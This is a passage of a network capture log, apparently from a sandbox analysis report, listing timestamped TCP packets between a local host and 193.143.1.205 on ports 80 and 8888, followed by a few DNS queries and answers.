Jan 10, 2025 16:18:09.512147903 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.512160063 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.512171030 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.512185097 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.512195110 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.512223005 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.512240887 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.515022993 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.515054941 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.515065908 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.515067101 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.515100002 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.515127897 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.515153885 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.515180111 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.515221119 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.515233040 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.515243053 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.515286922 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.515326023 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.515327930 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.515327930 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.515340090 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.515387058 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.515434027 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.515445948 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.515458107 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.515475988 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.515532017 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.515532017 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.515538931 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.515549898 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.515748024 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.515760899 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.515773058 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.515799999 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.515799999 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.515811920 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.515824080 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.515835047 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.515873909 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.515873909 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.515921116 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.515933037 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.515990973 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.516006947 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.517669916 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.522784948 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.537647009 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.537657976 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.537668943 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.537682056 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.537698984 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.537725925 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.537875891 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.540499926 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.540513039 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.540528059 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.540539026 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.540575027 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.540577888 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.540577888 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.540647030 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.540659904 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.540674925 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.540687084 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.540707111 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.540735006 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.540746927 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.540760040 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.540766001 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.540798903 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.540803909 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.540803909 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.540812969 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.540916920 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.559340000 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.567070007 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.571074009 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.571096897 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.571111917 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.571192980 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.571233034 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.571253061 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.571264982 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.571280956 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.571296930 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.571310043 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.571335077 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.571340084 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.571362019 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.571408987 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.571429014 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.571440935 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.571455002 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.571465969 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.571476936 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.571489096 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.571500063 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.571511030 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.571516991 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.571516991 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.571562052 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.571562052 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.571605921 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.575258970 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.587667942 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.600023031 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.600042105 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.600054026 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.600159883 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.600159883 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.600162029 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.600173950 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.600188017 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.600235939 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.600243092 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.600249052 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.600357056 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.600379944 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.600406885 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.600433111 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.600433111 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.600445032 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.600528955 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.600541115 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.600548029 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.600568056 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.600646973 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.600646973 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.600759983 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.600848913 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.600893974 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.600895882 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.600908041 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.600934029 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.600936890 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.600944042 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.601022959 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.601047993 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.601047993 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.601078987 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.601089954 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.601130009 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.601130009 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.601166010 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.601176977 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.601183891 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.601190090 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.601329088 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.601356983 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.601368904 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.601380110 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.601392984 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.601403952 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.601416111 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.601427078 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.601433039 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.601439953 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.601450920 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.601450920 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.601566076 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.601679087 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.601697922 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.601716042 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.601720095 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.601726055 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.601738930 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.601828098 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.601828098 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.601922989 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.601937056 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.602067947 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.602071047 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.602077961 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.602085114 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.602091074 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.602102041 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.602108955 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.602117062 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.602171898 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.602171898 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.602209091 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.602390051 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.602401018 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.602411032 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.602422953 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.602433920 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.602446079 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.602458954 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.602466106 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.602466106 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.602468967 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.602483988 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.602495909 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.602498055 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.602509022 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.602521896 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.602531910 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.602545023 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.602545023 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.602545023 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.602586031 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.602586031 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.602942944 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.602957964 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.602963924 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.602969885 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.602974892 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.602982044 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.602993011 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.603005886 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.603018045 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.603029966 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.603038073 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.603043079 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.603055000 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.603066921 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.603072882 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.603113890 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.603113890 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.607918978 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.627645969 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.627667904 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.627675056 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.627681971 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.627688885 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.627695084 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.627702951 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.627856970 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.630440950 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.630470037 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.630482912 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.630537987 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.630559921 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.630583048 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.630644083 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.630647898 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.630656004 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.630669117 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.630693913 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.630755901 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.630779028 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.630786896 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.630800009 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.630805969 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.630811930 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.630816936 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.630939007 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.658725977 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.658742905 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.658757925 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.658766031 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.658771038 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.658776999 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.658791065 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.658868074 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.658874035 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.658879995 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.658884048 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.658885956 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.658924103 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.658941031 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.658945084 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.658947945 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.658992052 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.659004927 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.659006119 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.659006119 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.659051895 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.659065008 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.659077883 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.659086943 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.659099102 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.659140110 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.659213066 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.685163975 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.689959049 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.689973116 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.689980984 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.690047026 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.690063953 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.690068007 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.690076113 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.690082073 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.690124989 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.690135956 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.690146923 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.690205097 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.690217018 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.690247059 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.690247059 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.690252066 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.690268040 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.690301895 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.690308094 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.690315008 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.690321922 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.690413952 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.690417051 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.718697071 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.828336954 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:10.306967974 CET	49799	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:10.311779976 CET	8888	49799	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:10.314204931 CET	49799	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:10.314786911 CET	49799	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:10.319591045 CET	8888	49799	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:11.130620003 CET	8888	49799	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:11.171823025 CET	49799	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:11.299428940 CET	49799	8888	192.168.2.9	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 16:18:19.181570053 CET	54431	53	192.168.2.9	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 16:18:19.181570053 CET	192.168.2.9	1.1.1.1	0x731b	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 16:17:54.417485952 CET	1.1.1.1	192.168.2.9	0x54cc	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 16:17:54.417485952 CET	1.1.1.1	192.168.2.9	0x54cc	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:18:19.189340115 CET	1.1.1.1	192.168.2.9	0x731b	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 16:18:59.157480955 CET	1.1.1.1	192.168.2.9	0x2032	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:18:59.157480955 CET	1.1.1.1	192.168.2.9	0x2032	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:19:23.217762947 CET	1.1.1.1	192.168.2.9	0x1707	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:19:23.217762947 CET	1.1.1.1	192.168.2.9	0x1707	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:19:47.326776981 CET	1.1.1.1	192.168.2.9	0xe457	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:19:47.326776981 CET	1.1.1.1	192.168.2.9	0xe457	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:20:11.390400887 CET	1.1.1.1	192.168.2.9	0x9cd3	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:20:11.390400887 CET	1.1.1.1	192.168.2.9	0x9cd3	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

